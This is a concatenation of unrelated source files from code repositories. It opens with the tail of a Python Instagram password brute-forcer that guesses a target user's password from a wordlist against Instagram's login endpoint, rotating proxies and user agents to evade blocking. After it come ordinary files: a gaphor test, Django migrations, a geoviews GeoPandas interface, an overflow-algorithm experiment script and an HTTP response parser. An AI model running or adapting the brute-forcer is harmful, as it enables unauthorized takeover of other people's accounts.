% (proxy,)) if proxy in proxys_working_list: proxys_working_list.pop(proxy) print(c+"[+]"+w+" Online Proxy: ", str(len(proxys_working_list))) else: print(r+"[!] Error:"+w+" Your IP now is blocked by instagram") print(r+"[!]"+w+" Please use Proxy or VPN App") else: print(r+"[!]"+w+" Error:", e.getcode()) q.task_done() return except Exception as err: if _debug: print(r+"[!]"+w+" Problems in the proxy connection") logger.error(err) else: print(r+"[!]"+w+" Problems in the proxy connection") pass return def starter(): """ threading workers initialize """ global found_flag queue = Queue.Queue() threads = [] max_thread = THREAD found_flag = False queuelock = threading.Lock() print(y+"\n[-]"+w+" Preparing for attack ...") print(c+"[!]"+w+" Bruteforce is running\n") try: for word in words: queue.put(word) while not queue.empty(): queuelock.acquire() for workers in range(max_thread): t = threading.Thread(target=brute, args=(queue,)) t.setDaemon(True) t.start() threads.append(t) for t in threads: t.join() queuelock.release() if found_flag: break print("") print(y+"[!]"+w+" Bruteforce attack completed") except Exception as err: print(err) def check_avalaible_proxys(proxys): """ check avalaible proxyies from proxy_list file """ socket.setdefaulttimeout(30) global proxys_working_list print(y+"[-]"+w+" Try connecting with a proxy list ...\n") proxys_working_list = {} max_thread = THREAD queue = Queue.Queue() queuelock = threading.Lock() threads = [] for proxy in proxys: queue.put(proxy) while not queue.empty(): queuelock.acquire() for workers in range(max_thread): t = threading.Thread(target=check_proxy, args=(queue,)) t.setDaemon(True) t.start() threads.append(t) for t in threads: t.join() queuelock.release() print(c+"[+]"+w+" Successfully connected with "+ str(len(proxys_working_list))+" proxy") if __name__ == "__main__": parser = argparse.ArgumentParser( description="Instagram BruteForcer", epilog="./instabrute -u user_test -w words.txt -p proxys.txt -t 4 -d -v" ) # required argument parser.add_argument('-u', '--username', action="store", required=True, help='Target Username') parser.add_argument('-w', '--word', action="store", required=True, help='Words list path') parser.add_argument('-p', '--proxy', action="store", required=True, help='Proxy list path') # optional arguments parser.add_argument('-t', '--thread', help='Thread', type=int, default=4) parser.add_argument('-v', '--verbose', action='store_const', help='Thread', const=True, default=False) parser.add_argument('-d', '--debug', action='store_const', const=True, help='Debug mode', default=False) args = parser.parse_args() URL = "https://www.instagram.com/accounts/login/ajax/" USER = args.username THREAD = args.thread _verbose = args.verbose _debug = args.debug user_agents = ["Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko)", "Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; HTC Vision Build/GRI40) AppleWebKit/533.1", "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko)", "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201", "Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0", "Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))"] try: words = open(args.word).readlines() except IOError: print("[-]"" Error: Check your word list file path\n") sys.exit(1) try: proxys = open(args.proxy).readlines() except IOError: print("[-]"" Error: Check your proxy list file path\n") sys.exit(1) # enable debugging if its set if _debug: # Logging stuff logging.basicConfig(level=logging.DEBUG, filename="log", format='%(asctime)s - %(name)s - %(levelname)s - %(message)s') logger = logging.getLogger(__name__) print(y+"[-]"+w+" Starting bruteforce attack to", USER) print(y+"[-]"+w+" List of words found on file", str(len(words))) print(y+"[-]"+w+" List of proxy found on proxys.txt", str(len(proxys))) check_avalaible_proxys(proxys) get_csrf() starter()

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textformer/utils/__init__.py

gugarosa/textformer

3

1602150

"""Utilities package for all common textformer modules. """

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simulation/src/claptrap_simu/__init__.py

Siviuze/CL4P-TP

0

59459

__import__('eigenpy').switchToNumpyArray()

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gaphor/storage/tests/test_verify.py

seryafarma/gaphor

0

69348

<reponame>seryafarma/gaphor from gaphor import UML from gaphor.core.eventmanager import EventManager from gaphor.core.modeling import ElementFactory from gaphor.storage.verify import orphan_references def test_verifier(): factory = ElementFactory(EventManager()) c = factory.create(UML.Class) p = factory.create(UML.Property) c.ownedAttribute = p assert not orphan_references(factory) # Now create a separate item, not part of the factory: m = UML.Comment(id="acd123") m.annotatedElement = c assert m in c.ownedComment assert orphan_references(factory)

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api/migrations/0076_auto_20200728_1500.py

IFRCGo/ifrcgo-api

11

39003

# Generated by Django 2.2.13 on 2020-07-28 15:00 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('api', '0075_profile_last_frontend_login'), ] operations = [ migrations.RemoveField( model_name='fieldreport', name='cases', ), migrations.RemoveField( model_name='fieldreport', name='confirmed_cases', ), migrations.RemoveField( model_name='fieldreport', name='health_min_cases', ), migrations.RemoveField( model_name='fieldreport', name='health_min_confirmed_cases', ), migrations.RemoveField( model_name='fieldreport', name='health_min_num_dead', ), migrations.RemoveField( model_name='fieldreport', name='health_min_probable_cases', ), migrations.RemoveField( model_name='fieldreport', name='health_min_suspected_cases', ), migrations.RemoveField( model_name='fieldreport', name='other_cases', ), migrations.RemoveField( model_name='fieldreport', name='other_confirmed_cases', ), migrations.RemoveField( model_name='fieldreport', name='other_probable_cases', ), migrations.RemoveField( model_name='fieldreport', name='other_suspected_cases', ), migrations.RemoveField( model_name='fieldreport', name='probable_cases', ), migrations.RemoveField( model_name='fieldreport', name='suspected_cases', ), migrations.RemoveField( model_name='fieldreport', name='who_cases', ), migrations.RemoveField( model_name='fieldreport', name='who_confirmed_cases', ), migrations.RemoveField( model_name='fieldreport', name='who_num_dead', ), migrations.RemoveField( model_name='fieldreport', name='who_probable_cases', ), migrations.RemoveField( model_name='fieldreport', name='who_suspected_cases', ), ]

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geoviews/data/geopandas.py

jonmmease/geoviews

0

80082

<reponame>jonmmease/geoviews<filename>geoviews/data/geopandas.py from __future__ import absolute_import import sys import warnings from collections import defaultdict import numpy as np from holoviews.core.util import isscalar, unique_iterator, unique_array, pd from holoviews.core.data import Dataset, Interface, MultiInterface from holoviews.core.data.interface import DataError from holoviews.core.data import PandasInterface from holoviews.core.data.spatialpandas import get_value_array from holoviews.core.dimension import dimension_name from holoviews.element import Path from ..util import geom_to_array, geom_types, geom_length from .geom_dict import geom_from_dict class GeoPandasInterface(MultiInterface): types = () datatype = 'geodataframe' multi = True @classmethod def loaded(cls): return 'geopandas' in sys.modules @classmethod def applies(cls, obj): if not cls.loaded(): return False from geopandas import GeoDataFrame, GeoSeries return isinstance(obj, (GeoDataFrame, GeoSeries)) @classmethod def geo_column(cls, data): from geopandas import GeoSeries col = 'geometry' if col in data and isinstance(data[col], GeoSeries): return col cols = [c for c in data.columns if isinstance(data[c], GeoSeries)] if not cols and len(data): raise ValueError('No geometry column found in geopandas.DataFrame, ' 'use the PandasInterface instead.') return cols[0] if cols else None @classmethod def init(cls, eltype, data, kdims, vdims): import pandas as pd from geopandas import GeoDataFrame, GeoSeries if kdims is None: kdims = eltype.kdims if vdims is None: vdims = eltype.vdims if isinstance(data, GeoSeries): data = data.to_frame() if isinstance(data, list): if all(isinstance(d, geom_types) for d in data): data = [{'geometry': d} for d in data] if all(isinstance(d, dict) and 'geometry' in d and isinstance(d['geometry'], geom_types) for d in data): data = GeoDataFrame(data) if not isinstance(data, GeoDataFrame): data = from_multi(eltype, data, kdims, vdims) elif not isinstance(data, GeoDataFrame): raise ValueError("GeoPandasInterface only support geopandas " "DataFrames not %s." % type(data)) elif 'geometry' not in data: cls.geo_column(data) index_names = data.index.names if isinstance(data, pd.DataFrame) else [data.index.name] if index_names == [None]: index_names = ['index'] for kd in kdims+vdims: kd = dimension_name(kd) if kd in data.columns: continue if any(kd == ('index' if name is None else name) for name in index_names): data = data.reset_index() break try: shp_types = {gt[5:] if 'Multi' in gt else gt for gt in data.geom_type} except: shp_types = [] if len(shp_types) > 1: raise DataError('The GeopandasInterface can only read dataframes which ' 'share a common geometry type, found %s types.' % shp_types, cls) return data, {'kdims': kdims, 'vdims': vdims}, {} @classmethod def validate(cls, dataset, vdims=True): dim_types = 'key' if vdims else 'all' geom_dims = cls.geom_dims(dataset) if len(geom_dims) != 2: raise DataError('Expected %s instance to declare two key ' 'dimensions corresponding to the geometry ' 'coordinates but %d dimensions were found ' 'which did not refer to any columns.' % (type(dataset).__name__, len(geom_dims)), cls) not_found = [d.name for d in dataset.dimensions(dim_types) if d not in geom_dims and d.name not in dataset.data] if not_found: raise DataError("Supplied data does not contain specified " "dimensions, the following dimensions were " "not found: %s" % repr(not_found), cls) @classmethod def dtype(cls, dataset, dimension): name = dataset.get_dimension(dimension, strict=True).name if name not in dataset.data: return np.dtype('float') # Geometry dimension return dataset.data[name].dtype @classmethod def has_holes(cls, dataset): from shapely.geometry import Polygon, MultiPolygon col = cls.geo_column(dataset.data) for geom in dataset.data[col]: if isinstance(geom, Polygon) and geom.interiors: return True elif isinstance(geom, MultiPolygon): for g in geom: if isinstance(g, Polygon) and g.interiors: return True return False @classmethod def holes(cls, dataset): from shapely.geometry import Polygon, MultiPolygon holes = [] col = cls.geo_column(dataset.data) for geom in dataset.data[col]: if isinstance(geom, Polygon) and geom.interiors: holes.append([[geom_to_array(h) for h in geom.interiors]]) elif isinstance(geom, MultiPolygon): holes += [[[geom_to_array(h) for h in g.interiors] for g in geom]] else: holes.append([[]]) return holes @classmethod def select(cls, dataset, selection_mask=None, **selection): if cls.geom_dims(dataset): df = cls.shape_mask(dataset, selection) else: df = dataset.data if not selection: return df elif selection_mask is None: selection_mask = cls.select_mask(dataset, selection) indexed = cls.indexed(dataset, selection) df = df.iloc[selection_mask] if indexed and len(df) == 1 and len(dataset.vdims) == 1: return df[dataset.vdims[0].name].iloc[0] return df @classmethod def shape_mask(cls, dataset, selection): xdim, ydim = cls.geom_dims(dataset) xsel = selection.pop(xdim.name, None) ysel = selection.pop(ydim.name, None) if xsel is None and ysel is None: return dataset.data from shapely.geometry import box if xsel is None: x0, x1 = cls.range(dataset, xdim) elif isinstance(xsel, slice): x0, x1 = xsel.start, xsel.stop elif isinstance(xsel, tuple): x0, x1 = xsel else: raise ValueError("Only slicing is supported on geometries, %s " "selection is of type %s." % (xdim, type(xsel).__name__)) if ysel is None: y0, y1 = cls.range(dataset, ydim) elif isinstance(ysel, slice): y0, y1 = ysel.start, ysel.stop elif isinstance(ysel, tuple): y0, y1 = ysel else: raise ValueError("Only slicing is supported on geometries, %s " "selection is of type %s." % (ydim, type(ysel).__name__)) bounds = box(x0, y0, x1, y1) col = cls.geo_column(dataset.data) df = dataset.data.copy() df[col] = df[col].intersection(bounds) return df[df[col].area > 0] @classmethod def select_mask(cls, dataset, selection): mask = np.ones(len(dataset.data), dtype=np.bool) for dim, k in selection.items(): if isinstance(k, tuple): k = slice(*k) arr = dataset.data[dim].values if isinstance(k, slice): with warnings.catch_warnings(): warnings.filterwarnings('ignore', r'invalid value encountered') if k.start is not None: mask &= k.start <= arr if k.stop is not None: mask &= arr < k.stop elif isinstance(k, (set, list)): iter_slcs = [] for ik in k: with warnings.catch_warnings(): warnings.filterwarnings('ignore', r'invalid value encountered') iter_slcs.append(arr == ik) mask &= np.logical_or.reduce(iter_slcs) elif callable(k): mask &= k(arr) else: index_mask = arr == k if dataset.ndims == 1 and np.sum(index_mask) == 0: data_index = np.argmin(np.abs(arr - k)) mask = np.zeros(len(dataset), dtype=np.bool) mask[data_index] = True else: mask &= index_mask return mask @classmethod def geom_dims(cls, dataset): return [d for d in dataset.kdims + dataset.vdims if d.name not in dataset.data] @classmethod def dimension_type(cls, dataset, dim): col = cls.geo_column(dataset.data) arr = geom_to_array(dataset.data[col].iloc[0]) ds = dataset.clone(arr, datatype=cls.subtypes, vdims=[]) return ds.interface.dimension_type(ds, dim) @classmethod def isscalar(cls, dataset, dim, per_geom=False): """ Tests if dimension is scalar in each subpath. """ dim = dataset.get_dimension(dim) geom_dims = cls.geom_dims(dataset) if dim in geom_dims: return False elif per_geom: return all(isscalar(v) or len(list(unique_array(v))) == 1 for v in dataset.data[dim.name]) dim = dataset.get_dimension(dim) return len(dataset.data[dim.name].unique()) == 1 @classmethod def range(cls, dataset, dim): dim = dataset.get_dimension(dim) geom_dims = cls.geom_dims(dataset) if dim in geom_dims: col = cls.geo_column(dataset.data) idx = geom_dims.index(dim) bounds = dataset.data[col].bounds if idx == 0: return bounds.minx.min(), bounds.maxx.max() else: return bounds.miny.min(), bounds.maxy.max() else: vals = dataset.data[dim.name] return vals.min(), vals.max() @classmethod def aggregate(cls, columns, dimensions, function, **kwargs): raise NotImplementedError @classmethod def add_dimension(cls, dataset, dimension, dim_pos, values, vdim): data = dataset.data.copy() geom_col = cls.geo_column(dataset.data) if dim_pos >= list(data.columns).index(geom_col): dim_pos -= 1 if dimension.name not in data: data.insert(dim_pos, dimension.name, values) return data @classmethod def groupby(cls, dataset, dimensions, container_type, group_type, **kwargs): geo_dims = cls.geom_dims(dataset) if any(d in geo_dims for d in dimensions): raise DataError("GeoPandasInterface does not allow grouping " "by geometry dimension.", cls) return PandasInterface.groupby(dataset, dimensions, container_type, group_type, **kwargs) @classmethod def reindex(cls, dataset, kdims=None, vdims=None): return dataset.data @classmethod def sample(cls, columns, samples=[]): raise NotImplementedError @classmethod def sort(cls, dataset, by=[], reverse=False): geo_dims = cls.geom_dims(dataset) if any(d in geo_dims for d in by): raise DataError("SpatialPandasInterface does not allow sorting " "by geometry dimension.", cls) return PandasInterface.sort(dataset, by, reverse) @classmethod def shape(cls, dataset): return (cls.length(dataset), len(dataset.dimensions())) @classmethod def length(cls, dataset): geom_type = cls.geom_type(dataset) if geom_type != 'Point': return len(dataset.data) return sum([geom_length(g) for g in dataset.data.geometry]) @classmethod def nonzero(cls, dataset): return bool(cls.length(dataset)) @classmethod def redim(cls, dataset, dimensions): return PandasInterface.redim(dataset, dimensions) @classmethod def values(cls, dataset, dimension, expanded=True, flat=True, compute=True, keep_index=False): dimension = dataset.get_dimension(dimension) geom_dims = dataset.interface.geom_dims(dataset) data = dataset.data isgeom = (dimension in geom_dims) geom_col = cls.geo_column(dataset.data) is_points = cls.geom_type(dataset) == 'Point' if not len(data): dtype = float if isgeom else dataset.data[dimension.name].dtype return np.array([], dtype=dtype) col = cls.geo_column(dataset.data) if isgeom and keep_index: return data[col] elif not isgeom: return get_value_array(data, dimension, expanded, keep_index, geom_col, is_points, geom_length) column = data[dimension.name] if not expanded or keep_index or not len(data): return column if keep_index else column.values else: arrays = [] for i, geom in enumerate(data[col]): length = geom_length(geom) arrays.append(np.full(length, column.iloc[i])) return np.concatenate(arrays) if len(arrays) > 1 else arrays[0] values = [] geom_type = data.geom_type.iloc[0] ds = dataset.clone(data.iloc[0].to_dict(), datatype=['geom_dictionary']) for i, row in data.iterrows(): ds.data = row.to_dict() values.append(ds.interface.values(ds, dimension)) if 'Point' not in geom_type and expanded: values.append([np.NaN]) values = values if 'Point' in geom_type or not expanded else values[:-1] if len(values) == 1: return values[0] elif not values: return np.array([]) elif not expanded: array = np.empty(len(values), dtype=object) array[:] = values return array else: return np.concatenate(values) @classmethod def iloc(cls, dataset, index): from geopandas import GeoSeries from shapely.geometry import MultiPoint rows, cols = index geom_dims = cls.geom_dims(dataset) geom_col = cls.geo_column(dataset.data) scalar = False columns = list(dataset.data.columns) if isinstance(cols, slice): cols = [d.name for d in dataset.dimensions()][cols] elif np.isscalar(cols): scalar = np.isscalar(rows) cols = [dataset.get_dimension(cols).name] else: cols = [dataset.get_dimension(d).name for d in index[1]] if not all(d in cols for d in geom_dims): raise DataError("Cannot index a dimension which is part of the " "geometry column of a spatialpandas DataFrame.", cls) cols = list(unique_iterator([ columns.index(geom_col) if c in geom_dims else columns.index(c) for c in cols ])) geom_type = dataset.data[geom_col].geom_type.iloc[0] if geom_type != 'MultiPoint': if scalar: return dataset.data.iloc[rows[0], cols[0]] elif isscalar(rows): rows = [rows] return dataset.data.iloc[rows, cols] geoms = dataset.data[geom_col] count = 0 new_geoms, indexes = [], [] for i, geom in enumerate(geoms): length = len(geom) if np.isscalar(rows): if count <= rows < (count+length): new_geoms.append(geom[rows-count]) indexes.append(i) break elif isinstance(rows, slice): if rows.start is not None and rows.start > (count+length): continue elif rows.stop is not None and rows.stop < count: break start = None if rows.start is None else max(rows.start - count, 0) stop = None if rows.stop is None else min(rows.stop - count, length) if rows.step is not None: dataset.param.warning(".iloc step slicing currently not supported for" "the multi-tabular data format.") indexes.append(i) new_geoms.append(geom[start:stop]) elif isinstance(rows, (list, set)): sub_rows = [(r-count) for r in rows if count <= r < (count+length)] if not sub_rows: continue indexes.append(i) new_geoms.append(MultiPoint([geom[r] for r in sub_rows])) count += length new = dataset.data.iloc[indexes].copy() new[geom_col] = GeoSeries(new_geoms) return new @classmethod def split(cls, dataset, start, end, datatype, **kwargs): objs = [] xdim, ydim = dataset.kdims[:2] if not len(dataset.data): return [] row = dataset.data.iloc[0] col = cls.geo_column(dataset.data) arr = geom_to_array(row[col]) d = {(xdim.name, ydim.name): arr} d.update({vd.name: row[vd.name] for vd in dataset.vdims}) geom_type = cls.geom_type(dataset) ds = dataset.clone([d], datatype=['multitabular']) for i, row in dataset.data.iterrows(): if datatype == 'geom': objs.append(row[col]) continue geom = row[col] gt = geom_type or get_geom_type(geom) arr = geom_to_array(geom) d = {xdim.name: arr[:, 0], ydim.name: arr[:, 1]} d.update({vd.name: row[vd.name] for vd in dataset.vdims}) ds.data = [d] if datatype == 'array': obj = ds.array(**kwargs) elif datatype == 'dataframe': obj = ds.dframe(**kwargs) elif datatype in ('columns', 'dictionary'): d['geom_type'] = gt obj = d elif datatype is None: obj = ds.clone() else: raise ValueError("%s datatype not support" % datatype) objs.append(obj) return objs def get_geom_type(geom): """Returns the HoloViews geometry type. Args: geom: A shapely geometry Returns: A string representing type of the geometry. """ from shapely.geometry import ( Point, LineString, Polygon, Ring, MultiPoint, MultiPolygon, MultiLineString ) if isinstance(geom, (Point, MultiPoint)): return 'Point' elif isinstance(geom, (LineString, MultiLineString)): return 'Line' elif isinstance(geom, Ring): return 'Ring' elif isinstance(geom, (Polygon, MultiPolygon)): return 'Polygon' def to_geopandas(data, xdim, ydim, columns=[], geom='point'): """Converts list of dictionary format geometries to spatialpandas line geometries. Args: data: List of dictionaries representing individual geometries xdim: Name of x-coordinates column ydim: Name of y-coordinates column ring: Whether the data represents a closed ring Returns: A spatialpandas.GeoDataFrame version of the data """ from geopandas import GeoDataFrame from shapely.geometry import ( Point, LineString, Polygon, MultiPoint, MultiPolygon, MultiLineString ) poly = any('holes' in d for d in data) or geom == 'Polygon' if poly: single_type, multi_type = Polygon, MultiPolygon elif geom == 'Line': single_type, multi_type = LineString, MultiLineString else: single_type, multi_type = Point, MultiPoint converted = defaultdict(list) for geom_dict in data: geom_dict = dict(geom_dict) geom = geom_from_dict(geom_dict, xdim, ydim, single_type, multi_type) for c, v in geom_dict.items(): converted[c].append(v) converted['geometry'].append(geom) return GeoDataFrame(converted, columns=['geometry']+columns) def from_multi(eltype, data, kdims, vdims): """Converts list formats into geopandas.GeoDataFrame. Args: eltype: Element type to convert data: The original data kdims: The declared key dimensions vdims: The declared value dimensions Returns: A GeoDataFrame containing the data in the list based format. """ from geopandas import GeoDataFrame new_data = [] types = [] xname, yname = (kd.name for kd in kdims[:2]) for d in data: types.append(type(d)) if isinstance(d, dict): d = {k: v if isscalar(v) else np.asarray(v) for k, v in d.items()} new_data.append(d) continue new_el = eltype(d, kdims, vdims) if new_el.interface is GeoPandasInterface: types[-1] = GeoDataFrame new_data.append(new_el.data) continue new_dict = {} for d in new_el.dimensions(): if d in (xname, yname): scalar = False else: scalar = new_el.interface.isscalar(new_el, d) vals = new_el.dimension_values(d, not scalar) new_dict[d.name] = vals[0] if scalar else vals new_data.append(new_dict) if len(set(types)) > 1: raise DataError('Mixed types not supported') if new_data and types[0] is GeoDataFrame: data = pd.concat(new_data) else: columns = [d.name for d in kdims+vdims if d not in (xname, yname)] geom = GeoPandasInterface.geom_type(eltype) if not len(data): return GeoDataFrame([], columns=['geometry']+columns) data = to_geopandas(new_data, xname, yname, columns, geom) return data Interface.register(GeoPandasInterface) Dataset.datatype = Dataset.datatype+['geodataframe'] Path.datatype = Path.datatype+['geodataframe']

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experiments.py

hmjansen/overflow-algorithm

0

127004

"""Code used to create the examples in the overflow paper. This module contains the code used to create the examples in the paper at https://arxiv.org/pdf/2001.09611v1, referred to as the overflow paper. Execute this module as a script to reproduce the examples. The code has been tested using Python 3.5.2, NumPy 1.11.1, and SciPy 0.18.1 via the Anaconda 4.2.0 (64-bit) installation. """ import matplotlib.pyplot as plt import numpy as np from create_overflow_networks import square_network_example from create_overflow_networks import worst_case_example from overflow_algorithm import solve_overflow_traffic_equation def progress_bar(i, n, width=20): """Provides a simple progress bar. Visualizes the how many iterations of a loop have been completed. Does not take actual or estimated remaining computation time into account. Args: i: Number of iterations of the loop that are completed. n: Total number of iterations of the loop. width: The number of characters used to visualize the progress. """ STRING_L = "X" STRING_R = "." frac = int(np.floor((i / n) * width)) str_l = STRING_L * frac str_r = STRING_R * (width - frac) print("\rSolving: [" + str_l + str_r + "]", end="") def square_network_overflow_plot(m, grid_nr, show_progress=False): """Creates a heat map as in Example 1 of the overflow paper. First defines a grid of parameter values for the delta and epsilon parameters of the family of networks presented in Example 1. Computes the solution to the overflow equation for each pair of parameters delta and epsilon and determines the fraction of overflowing nodes for that pair. Plots a heat map of these fractions. Args: m: Number of cells for the network of Example 1. grid_nr: Number of parameter values used for each parameter not including 0.0. The grid consists of grid_nr + 1 evenly spaced points in [0, 1] with end points 0.0 and 1.0. show_progress: Indicates whether a progress bar is shown. """ n = 4*(m**2) alpha = np.zeros(n) alpha[0] = n mu = np.zeros(n) + 1.0 grid_nr = grid_nr + 1 delta_space = np.linspace(0, 1.0, grid_nr) epsilon_space = np.linspace(0, 1.0, grid_nr) overflow_proportion = np.zeros([grid_nr, grid_nr]) if show_progress: print("") for i in range(grid_nr): for j in range(grid_nr): delta = delta_space[i] epsilon = epsilon_space[j] alpha, mu, P, Q = square_network_example(m, delta, epsilon) sol = solve_overflow_traffic_equation(alpha, mu, P, Q) overflow_proportion[i, j] = sum(sol >= mu) / n if show_progress: progress_bar(i * grid_nr + (j + 1), grid_nr**2) if show_progress: print("") # Plot results. # Set font sizes for plots. SMALL_FONT = 8 MEDIUM_FONT = 18 LARGE_FONT = 22 plt.rc('font', size=SMALL_FONT) # Default text font size plt.rc('axes', titlesize=MEDIUM_FONT) # Axes titles font size plt.rc('axes', labelsize=LARGE_FONT) # Axes lables font size plt.rc('xtick', labelsize=MEDIUM_FONT) # xtick lables font size plt.rc('ytick', labelsize=MEDIUM_FONT) # ytick lables font size plt.rc('legend', fontsize=MEDIUM_FONT) # legend font size plt.rc('figure', titlesize=MEDIUM_FONT) # Figure title font size # Flip the matrix for better plotting of the vertical axis. overflow_proportion = np.flipud(overflow_proportion) fig = plt.figure() ax = fig.add_subplot(111) im = ax.matshow(overflow_proportion) # Set ticks at horizontal and vertical axes; # the yticks are flipped to correspond with the flipped matrix. ticks_max = 6 ticks_step = np.floor((grid_nr - 1) / (ticks_max - 1)) ticks_index = np.arange(start=0, stop=grid_nr, step=ticks_step, dtype=int) ax.set_xticks(ticks_index) ax.set_yticks(np.flipud(ticks_index)) # Label ticks with the corresponding values. delta_labels = [delta_space[i] for i in ticks_index] epsilon_labels = [epsilon_space[i] for i in ticks_index] ax.set_xticklabels(delta_labels) ax.set_yticklabels(epsilon_labels) # Show ticks on horizontal axis at the bottom. ax.tick_params(axis="x", bottom=True, top=False, labelbottom=True, labeltop=False) # Set x label and y label. plt.xlabel("$\delta$") plt.ylabel("$\epsilon$") # Plot the figure. fig.colorbar(im) plt.show() if __name__ == "__main__": show_progress = True # Progress bar will be shown if True # Number of grid points used for the parameter space of the square network. # Choose grid_nr >= 1. # Step size is 1 / grid_nr for a total number of 1 + grid_nr grid points. grid_nr = 100 # Number of blocks in the horizontal direction of the square network. # Choose m >= 2. m = 3 # Run the square network example with m = 3. square_network_overflow_plot(m, grid_nr, show_progress) # Run the square network example with m = 5. m = 5 square_network_overflow_plot(m, grid_nr, show_progress) # Check that the worst case examples indeed require the maximum number of # iterations of the overflow algorithm. n = 75 results = np.zeros(n) if show_progress: print("") for i in range(1, n + 1): alpha, mu, P, Q = worst_case_example(i) x = solve_overflow_traffic_equation(alpha, mu, P, Q, count=True) labda, solve_count, max_count = x results[i - 1] = (solve_count == max_count) if show_progress: progress_bar(i, n) if show_progress: print("") if results.all(): # Every solve_count == max_count print("All solutions required the maximum number of iterations.") else: print("At least one solution required less than the maximum number " + "of iterations.")

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test.py

wangjm12138/Yolov3_wang

0

1901

import random class Yolov3(object): def __init__(self): self.num=0 self.input_size=[8,16,32] def __iter__(self): return self def __next__(self): a = random.choice(self.input_size) self.num=self.num+1 if self.num<3: return a else: raise StopIteration yolo=Yolov3() for data in yolo: print(data)

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env.clearblockd/lib/python2.7/site-packages/geventhttpclient/response.py

Organizational-Proof-Of-Work/clearinghoused_build

0

77826

<gh_stars>0 import errno from geventhttpclient._parser import HTTPResponseParser, HTTPParseError #@UnresolvedImport from geventhttpclient.header import Headers import gevent.socket HEADER_STATE_INIT = 0 HEADER_STATE_FIELD = 1 HEADER_STATE_VALUE = 2 HEADER_STATE_DONE = 3 class HTTPConnectionClosed(HTTPParseError): pass class HTTPProtocolViolationError(HTTPParseError): pass class HTTPResponse(HTTPResponseParser): def __init__(self, method='GET', headers_type=Headers): super(HTTPResponse, self).__init__() self.method = method.upper() self.headers_complete = False self.message_begun = False self.message_complete = False self._headers_index = headers_type() self._header_state = HEADER_STATE_INIT self._current_header_field = None self._current_header_value = None self._header_position = 1 self._body_buffer = bytearray() def __getitem__(self, key): return self._headers_index[key] def get(self, key, default=None): return self._headers_index.get(key, default) def iteritems(self): return self._headers_index.iteritems() def items(self): return self._headers_index.items() def info(self): """ Basic cookielib compatibility """ return self._headers_index def should_keep_alive(self): """ return if the headers instruct to keep the connection alive. """ return bool(super(HTTPResponse, self).should_keep_alive()) def should_close(self): """ return if we should close the connection. It is not the opposite of should_keep_alive method. It also checks that the body as been consumed completely. """ return not self.message_complete or \ self.parser_failed() or \ not super(HTTPResponse, self).should_keep_alive() headers = property(items) def __contains__(self, key): return key in self._headers_index @property def status_code(self): return self.get_code() @property def content_length(self): length = self.get('content-length', None) if length is not None: return long(length) @property def version(self): return self.get_http_version() def _on_message_begin(self): if self.message_begun: raise HTTPProtocolViolationError("A new response began before end of %r." % self) self.message_begun = True def _on_message_complete(self): self.message_complete = True def _on_headers_complete(self): self._flush_header() self._header_state = HEADER_STATE_DONE self.headers_complete = True if self.method == 'HEAD': return True # SKIP BODY return False def _on_header_field(self, string): if self._header_state == HEADER_STATE_FIELD: self._current_header_field += string else: if self._header_state == HEADER_STATE_VALUE: self._flush_header() self._current_header_field = string self._header_state = HEADER_STATE_FIELD def _on_header_value(self, string): if self._header_state == HEADER_STATE_VALUE: self._current_header_value += string else: self._current_header_value = string self._header_state = HEADER_STATE_VALUE def _flush_header(self): if self._current_header_field is not None: self._headers_index.setdefault(self._current_header_field, self._current_header_value) self._header_position += 1 self._current_header_field = None self._current_header_value = None def _on_body(self, buf): self._body_buffer += buf def __repr__(self): return "<{klass} status={status} headers={headers}>".format( klass=self.__class__.__name__, status=self.status_code, headers=dict(self.headers)) class HTTPSocketResponse(HTTPResponse): DEFAULT_BLOCK_SIZE = 1024 * 4 # 4KB def __init__(self, sock, block_size=DEFAULT_BLOCK_SIZE, method='GET', **kw): super(HTTPSocketResponse, self).__init__(method=method, **kw) self._sock = sock self.block_size = block_size self._read_headers() def release(self): try: if self._sock is not None and self.should_close(): try: self._sock.close() except: pass finally: self._sock = None def __del__(self): self.release() def _read_headers(self): try: start = True while not self.headers_complete: try: data = self._sock.recv(self.block_size) self.feed(data) # depending on gevent version we get a conn reset or no data if not len(data) and not self.headers_complete: if start: raise HTTPConnectionClosed( 'connection closed.') raise HTTPParseError('connection closed before' ' end of the headers') start = False except gevent.socket.error as e: if e.errno == errno.ECONNRESET: if start: raise HTTPConnectionClosed( 'connection closed.') raise if self.message_complete: self.release() except BaseException: self.release() raise def readline(self, sep="\r\n"): cursor = 0 multibyte = len(sep) > 1 while True: cursor = self._body_buffer.find(sep[0], cursor) if cursor >= 0: found = True if multibyte: pos = cursor cursor = self._body_buffer.find(sep, cursor) if cursor < 0: cursor = pos found = False if found: length = cursor + len(sep) line = str(self._body_buffer[:length]) del self._body_buffer[:length] cursor = 0 return line else: cursor = 0 if self.message_complete: return '' try: data = self._sock.recv(self.block_size) self.feed(data) except BaseException: self.release() raise def read(self, length=None): # get the existing body that may have already been parsed # during headers parsing if length is not None and len(self._body_buffer) >= length: read = self._body_buffer[0:length] del self._body_buffer[0:length] return str(read) if self._sock is None: read = str(self._body_buffer) del self._body_buffer[:] return read try: while not(self.message_complete) and ( length is None or len(self._body_buffer) < length): data = self._sock.recv(length or self.block_size) self.feed(data) except: self.release() raise if length is not None: read = str(self._body_buffer[0:length]) del self._body_buffer[0:length] return read read = str(self._body_buffer) del self._body_buffer[:] return read def __iter__(self): return self def next(self): bytes = self.read(self.block_size) if not len(bytes): raise StopIteration() return bytes def _on_message_complete(self): super(HTTPSocketResponse, self)._on_message_complete() self.release() def __enter__(self): return self def __exit__(self, *args): self.release() class HTTPSocketPoolResponse(HTTPSocketResponse): def __init__(self, sock, pool, **kw): self._pool = pool super(HTTPSocketPoolResponse, self).__init__(sock, **kw) def release(self): try: if self._sock is not None: if self.should_close(): self._pool.release_socket(self._sock) else: self._pool.return_socket(self._sock) finally: self._sock = None self._pool = None def __del__(self): if self._sock is not None: self._pool.release_socket(self._sock)

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recipesAPI/recipes/migrations/0011_auto_20220116_2017.py

rainsha/polsl_mgr_obierki

0

188010

